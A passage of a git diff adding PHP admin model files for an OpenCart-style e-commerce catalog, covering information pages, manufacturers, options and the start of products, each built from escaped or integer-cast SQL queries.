+ $this->db->query("INSERT INTO " . DB_PREFIX . "information_description SET information_id = '" . (int)$information_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ if (isset($data['information_store'])) {
+ foreach ($data['information_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "information_to_store SET information_id = '" . (int)$information_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ // SEO URL
+ if (isset($data['information_seo_url'])) {
+ foreach ($data['information_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'information_id=" . (int)$information_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ if (isset($data['information_layout'])) {
+ foreach ($data['information_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "information_to_layout SET information_id = '" . (int)$information_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->cache->delete('information');
+
+ return $information_id;
+ }
+
+ public function editInformation($information_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "information SET sort_order = '" . (int)$data['sort_order'] . "', bottom = '" . (isset($data['bottom']) ? (int)$data['bottom'] : 0) . "', status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "' WHERE information_id = '" . (int)$information_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "information_description WHERE information_id = '" . (int)$information_id . "'");
+
+ foreach ($data['information_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "information_description SET information_id = '" . (int)$information_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "information_to_store WHERE information_id = '" . (int)$information_id . "'");
+
+ if (isset($data['information_store'])) {
+ foreach ($data['information_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "information_to_store SET information_id = '" . (int)$information_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'information_id=" . (int)$information_id . "'");
+
+ if (isset($data['information_seo_url'])) {
+ foreach ($data['information_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (trim($keyword)) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "seo_url` SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'information_id=" . (int)$information_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "information_to_layout` WHERE information_id = '" . (int)$information_id . "'");
+
+ if (isset($data['information_layout'])) {
+ foreach ($data['information_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "information_to_layout` SET information_id = '" . (int)$information_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->cache->delete('information');
+ }
+
+ public function editInformationStatus($information_id, $status) {
+ $this->db->query("UPDATE " . DB_PREFIX . "information SET status = '" . (int)$status . "'WHERE information_id = '" . (int)$information_id . "'");
+
+ $this->cache->delete('information');
+
+ }
+
+ public function deleteInformation($information_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "information` WHERE information_id = '" . (int)$information_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "information_description` WHERE information_id = '" . (int)$information_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "information_to_store` WHERE information_id = '" . (int)$information_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "information_to_layout` WHERE information_id = '" . (int)$information_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "seo_url` WHERE query = 'information_id=" . (int)$information_id . "'");
+
+ $this->cache->delete('information');
+ }
+
+ public function getInformation($information_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "information WHERE information_id = '" . (int)$information_id . "'");
+
+ return $query->row;
+ }
+
+ public function getInformations($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "information i LEFT JOIN " . DB_PREFIX . "information_description id ON (i.information_id = id.information_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sort_data = array(
+ 'id.title',
+ 'i.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY id.title";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $information_data = $this->cache->get('information.' . (int)$this->config->get('config_language_id'));
+
+ if (!$information_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "information i LEFT JOIN " . DB_PREFIX . "information_description id ON (i.information_id = id.information_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY id.title");
+
+ $information_data = $query->rows;
+
+ $this->cache->set('information.' . (int)$this->config->get('config_language_id'), $information_data);
+ }
+
+ return $information_data;
+ }
+ }
+
+ public function getInformationDescriptions($information_id) {
+ $information_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "information_description WHERE information_id = '" . (int)$information_id . "'");
+
+ foreach ($query->rows as $result) {
+ $information_description_data[$result['language_id']] = array(
+ 'title' => $result['title'],
+ 'description' => $result['description'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword']
+ );
+ }
+
+ return $information_description_data;
+ }
+
+ public function getInformationStores($information_id) {
+ $information_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "information_to_store WHERE information_id = '" . (int)$information_id . "'");
+
+ foreach ($query->rows as $result) {
+ $information_store_data[] = $result['store_id'];
+ }
+
+ return $information_store_data;
+ }
+
+ public function getInformationSeoUrls($information_id) {
+ $information_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'information_id=" . (int)$information_id . "'");
+
+ foreach ($query->rows as $result) {
+ $information_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $information_seo_url_data;
+ }
+
+ public function getInformationLayouts($information_id) {
+ $information_layout_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "information_to_layout WHERE information_id = '" . (int)$information_id . "'");
+
+ foreach ($query->rows as $result) {
+ $information_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+
+ return $information_layout_data;
+ }
+
+ public function getTotalInformations() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "information");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalInformationsByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "information_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/catalog/manufacturer.php b/public/admin/model/catalog/manufacturer.php
new file mode 100644
index 0000000..c89864e
--- /dev/null
+++ b/public/admin/model/catalog/manufacturer.php
@@ -0,0 +1,267 @@
+db->query("INSERT INTO " . DB_PREFIX . "manufacturer SET name = '" . $this->db->escape($data['name']) . "', sort_order = '" . (int)$data['sort_order'] . "', noindex = '" . (int)$data['noindex'] . "'");
+
+ $manufacturer_id = $this->db->getLastId();
+
+ if (isset($data['manufacturer_layout'])) {
+ foreach ($data['manufacturer_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "manufacturer_to_layout SET manufacturer_id = '" . (int)$manufacturer_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "manufacturer SET image = '" . $this->db->escape($data['image']) . "' WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ }
+
+ foreach ($data['manufacturer_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "manufacturer_description SET manufacturer_id = '" . (int)$manufacturer_id . "', language_id = '" . (int)$language_id . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ if (isset($data['manufacturer_store'])) {
+ foreach ($data['manufacturer_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "manufacturer_to_store SET manufacturer_id = '" . (int)$manufacturer_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related_mn SET manufacturer_id = '" . (int)$manufacturer_id . "', product_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ if (isset($data['article_related'])) {
+ foreach ($data['article_related'] as $related_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related_mn SET manufacturer_id = '" . (int)$manufacturer_id . "', article_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ // SEO URL
+ if (isset($data['manufacturer_seo_url'])) {
+ foreach ($data['manufacturer_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'manufacturer_id=" . (int)$manufacturer_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ $this->cache->delete('manufacturer');
+
+ return $manufacturer_id;
+ }
+
+ public function editManufacturer($manufacturer_id, $data) {
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "manufacturer_to_layout WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ if (isset($data['manufacturer_layout'])) {
+ foreach ($data['manufacturer_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "manufacturer_to_layout SET manufacturer_id = '" . (int)$manufacturer_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->db->query("UPDATE " . DB_PREFIX . "manufacturer SET name = '" . $this->db->escape($data['name']) . "', sort_order = '" . (int)$data['sort_order'] . "', noindex = '" . (int)$data['noindex'] . "' WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "manufacturer SET image = '" . $this->db->escape($data['image']) . "' WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "manufacturer_description WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ foreach ($data['manufacturer_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "manufacturer_description SET manufacturer_id = '" . (int)$manufacturer_id . "', language_id = '" . (int)$language_id . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "manufacturer_to_store WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ if (isset($data['manufacturer_store'])) {
+ foreach ($data['manufacturer_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "manufacturer_to_store SET manufacturer_id = '" . (int)$manufacturer_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_mn WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_mn WHERE manufacturer_id = '" . (int)$manufacturer_id . "' AND product_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related_mn SET manufacturer_id = '" . (int)$manufacturer_id . "', product_id = '" . (int)$related_id . "'");
+
+
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_mn WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ if (isset($data['article_related'])) {
+ foreach ($data['article_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_mn WHERE manufacturer_id = '" . (int)$manufacturer_id . "' AND article_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related_mn SET manufacturer_id = '" . (int)$manufacturer_id . "', article_id = '" . (int)$related_id . "'");
+
+
+ }
+ }
+
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "seo_url` WHERE query = 'manufacturer_id=" . (int)$manufacturer_id . "'");
+
+ if (isset($data['manufacturer_seo_url'])) {
+ foreach ($data['manufacturer_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "seo_url` SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'manufacturer_id=" . (int)$manufacturer_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ $this->cache->delete('manufacturer');
+ }
+
+ public function deleteManufacturer($manufacturer_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "manufacturer` WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "manufacturer_to_layout` WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "manufacturer_description` WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "manufacturer_to_store` WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "seo_url` WHERE query = 'manufacturer_id=" . (int)$manufacturer_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "product_related_mn` WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "article_related_mn` WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ $this->cache->delete('manufacturer');
+ }
+
+ public function getManufacturer($manufacturer_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "manufacturer WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ return $query->row;
+ }
+
+ public function getManufacturers($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "manufacturer";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " WHERE name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sort_data = array(
+ 'name',
+ 'sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getManufacturerStores($manufacturer_id) {
+ $manufacturer_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "manufacturer_to_store WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ foreach ($query->rows as $result) {
+ $manufacturer_store_data[] = $result['store_id'];
+ }
+
+ return $manufacturer_store_data;
+ }
+
+ public function getManufacturerSeoUrls($manufacturer_id) {
+ $manufacturer_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'manufacturer_id=" . (int)$manufacturer_id . "'");
+
+ foreach ($query->rows as $result) {
+ $manufacturer_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $manufacturer_seo_url_data;
+ }
+
+ public function getManufacturerLayouts($manufacturer_id) {
+ $manufacturer_layout_data = array();
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "manufacturer_to_layout WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ foreach ($query->rows as $result) {
+ $manufacturer_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+ return $manufacturer_layout_data;
+ }
+
+ public function getTotalManufacturerByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "manufacturer_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+ return $query->row['total'];
+ }
+
+ public function getTotalManufacturers() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "manufacturer");
+
+ return $query->row['total'];
+ }
+
+ public function getManufacturerDescriptions($manufacturer_id) {
+ $manufacturer_description_data = array();
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "manufacturer_description WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ foreach ($query->rows as $result) {
+ $manufacturer_description_data[$result['language_id']] = array(
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword'],
+ 'description' => $result['description']
+ );
+ }
+ return $manufacturer_description_data;
+ }
+
+ public function getProductRelated($manufacturer_id) {
+ $product_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_related_mn WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_related_data[] = $result['product_id'];
+ }
+
+ return $product_related_data;
+ }
+
+ public function getArticleRelated($manufacturer_id) {
+ $article_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_related_mn WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_related_data[] = $result['article_id'];
+ }
+
+ return $article_related_data;
+ }
+}
diff --git a/public/admin/model/catalog/option.php b/public/admin/model/catalog/option.php
new file mode 100644
index 0000000..dd8c17f
--- /dev/null
+++ b/public/admin/model/catalog/option.php
@@ -0,0 +1,177 @@
+db->query("INSERT INTO `" . DB_PREFIX . "option` SET type = '" . $this->db->escape($data['type']) . "', sort_order = '" . (int)$data['sort_order'] . "'");
+
+ $option_id = $this->db->getLastId();
+
+ foreach ($data['option_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_description SET option_id = '" . (int)$option_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ if (isset($data['option_value'])) {
+ foreach ($data['option_value'] as $option_value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_value SET option_id = '" . (int)$option_id . "', image = '" . $this->db->escape(html_entity_decode($option_value['image'], ENT_QUOTES, 'UTF-8')) . "', sort_order = '" . (int)$option_value['sort_order'] . "'");
+
+ $option_value_id = $this->db->getLastId();
+
+ foreach ($option_value['option_value_description'] as $language_id => $option_value_description) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_value_description SET option_value_id = '" . (int)$option_value_id . "', language_id = '" . (int)$language_id . "', option_id = '" . (int)$option_id . "', name = '" . $this->db->escape($option_value_description['name']) . "'");
+ }
+ }
+ }
+
+ return $option_id;
+ }
+
+ public function editOption($option_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "option` SET type = '" . $this->db->escape($data['type']) . "', sort_order = '" . (int)$data['sort_order'] . "' WHERE option_id = '" . (int)$option_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "option_description WHERE option_id = '" . (int)$option_id . "'");
+
+ foreach ($data['option_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_description SET option_id = '" . (int)$option_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "option_value WHERE option_id = '" . (int)$option_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "option_value_description WHERE option_id = '" . (int)$option_id . "'");
+
+ if (isset($data['option_value'])) {
+ foreach ($data['option_value'] as $option_value) {
+ if ($option_value['option_value_id']) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_value SET option_value_id = '" . (int)$option_value['option_value_id'] . "', option_id = '" . (int)$option_id . "', image = '" . $this->db->escape(html_entity_decode($option_value['image'], ENT_QUOTES, 'UTF-8')) . "', sort_order = '" . (int)$option_value['sort_order'] . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_value SET option_id = '" . (int)$option_id . "', image = '" . $this->db->escape(html_entity_decode($option_value['image'], ENT_QUOTES, 'UTF-8')) . "', sort_order = '" . (int)$option_value['sort_order'] . "'");
+ }
+
+ $option_value_id = $this->db->getLastId();
+
+ foreach ($option_value['option_value_description'] as $language_id => $option_value_description) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_value_description SET option_value_id = '" . (int)$option_value_id . "', language_id = '" . (int)$language_id . "', option_id = '" . (int)$option_id . "', name = '" . $this->db->escape($option_value_description['name']) . "'");
+ }
+ }
+
+ }
+ }
+
+ public function deleteOption($option_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "option` WHERE option_id = '" . (int)$option_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "option_description WHERE option_id = '" . (int)$option_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "option_value WHERE option_id = '" . (int)$option_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "option_value_description WHERE option_id = '" . (int)$option_id . "'");
+ }
+
+ public function getOption($option_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "option` o LEFT JOIN " . DB_PREFIX . "option_description od ON (o.option_id = od.option_id) WHERE o.option_id = '" . (int)$option_id . "' AND od.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getOptions($data = array()) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "option` o LEFT JOIN " . DB_PREFIX . "option_description od ON (o.option_id = od.option_id) WHERE od.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND od.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sort_data = array(
+ 'od.name',
+ 'o.type',
+ 'o.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY od.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getOptionDescriptions($option_id) {
+ $option_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "option_description WHERE option_id = '" . (int)$option_id . "'");
+
+ foreach ($query->rows as $result) {
+ $option_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $option_data;
+ }
+
+ public function getOptionValue($option_value_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "option_value ov LEFT JOIN " . DB_PREFIX . "option_value_description ovd ON (ov.option_value_id = ovd.option_value_id) WHERE ov.option_value_id = '" . (int)$option_value_id . "' AND ovd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getOptionValues($option_id) {
+ $option_value_data = array();
+
+ $option_value_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "option_value ov LEFT JOIN " . DB_PREFIX . "option_value_description ovd ON (ov.option_value_id = ovd.option_value_id) WHERE ov.option_id = '" . (int)$option_id . "' AND ovd.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY ov.sort_order, ovd.name");
+
+ foreach ($option_value_query->rows as $option_value) {
+ $option_value_data[] = array(
+ 'option_value_id' => $option_value['option_value_id'],
+ 'name' => $option_value['name'],
+ 'image' => $option_value['image'],
+ 'sort_order' => $option_value['sort_order']
+ );
+ }
+
+ return $option_value_data;
+ }
+
+ public function getOptionValueDescriptions($option_id) {
+ $option_value_data = array();
+
+ $option_value_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "option_value WHERE option_id = '" . (int)$option_id . "' ORDER BY sort_order");
+
+ foreach ($option_value_query->rows as $option_value) {
+ $option_value_description_data = array();
+
+ $option_value_description_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "option_value_description WHERE option_value_id = '" . (int)$option_value['option_value_id'] . "'");
+
+ foreach ($option_value_description_query->rows as $option_value_description) {
+ $option_value_description_data[$option_value_description['language_id']] = array('name' => $option_value_description['name']);
+ }
+
+ $option_value_data[] = array(
+ 'option_value_id' => $option_value['option_value_id'],
+ 'option_value_description' => $option_value_description_data,
+ 'image' => $option_value['image'],
+ 'sort_order' => $option_value['sort_order']
+ );
+ }
+
+ return $option_value_data;
+ }
+
+ public function getTotalOptions() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "option`");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/catalog/product.php b/public/admin/model/catalog/product.php
new file mode 100644
index 0000000..c68f349
--- /dev/null
+++ b/public/admin/model/catalog/product.php
@@ -0,0 +1,917 @@
+db->query("INSERT INTO " . DB_PREFIX . "product SET model = '" . $this->db->escape($data['model']) . "', sku = '" . $this->db->escape($data['sku']) . "', upc = '" . $this->db->escape($data['upc']) . "', ean = '" . $this->db->escape($data['ean']) . "', jan = '" . $this->db->escape($data['jan']) . "', isbn = '" . $this->db->escape($data['isbn']) . "', mpn = '" . $this->db->escape($data['mpn']) . "', location = '" . $this->db->escape($data['location']) . "', quantity = '" . (int)$data['quantity'] . "', minimum = '" . (int)$data['minimum'] . "', subtract = '" . (int)$data['subtract'] . "', stock_status_id = '" . (int)$data['stock_status_id'] . "', date_available = '" . $this->db->escape($data['date_available']) . "', manufacturer_id = '" . (int)$data['manufacturer_id'] . "', shipping = '" . (int)$data['shipping'] . "', price = '" . (float)$data['price'] . "',price_2 = '" . (float)$data['price_2'] . "',price_3 = '" . (float)$data['price_3'] . "', points = '" . (int)$data['points'] . "', weight = '" . (float)$data['weight'] . "', weight_class_id = '" . (int)$data['weight_class_id'] . "', length = '" . (float)$data['length'] . "', width = '" . (float)$data['width'] . "', height = '" . (float)$data['height'] . "', length_class_id = '" . (int)$data['length_class_id'] . "', status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', tax_class_id = '" . (int)$data['tax_class_id'] . "', sort_order = '" . (int)$data['sort_order'] . "', date_added = NOW(), date_modified = NOW()");
+
+ $product_id = $this->db->getLastId();
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "product SET image = '" . $this->db->escape($data['image']) . "' WHERE product_id = '" . (int)$product_id . "'");
+ }
+
+ foreach ($data['product_description'] as $language_id => $value) {
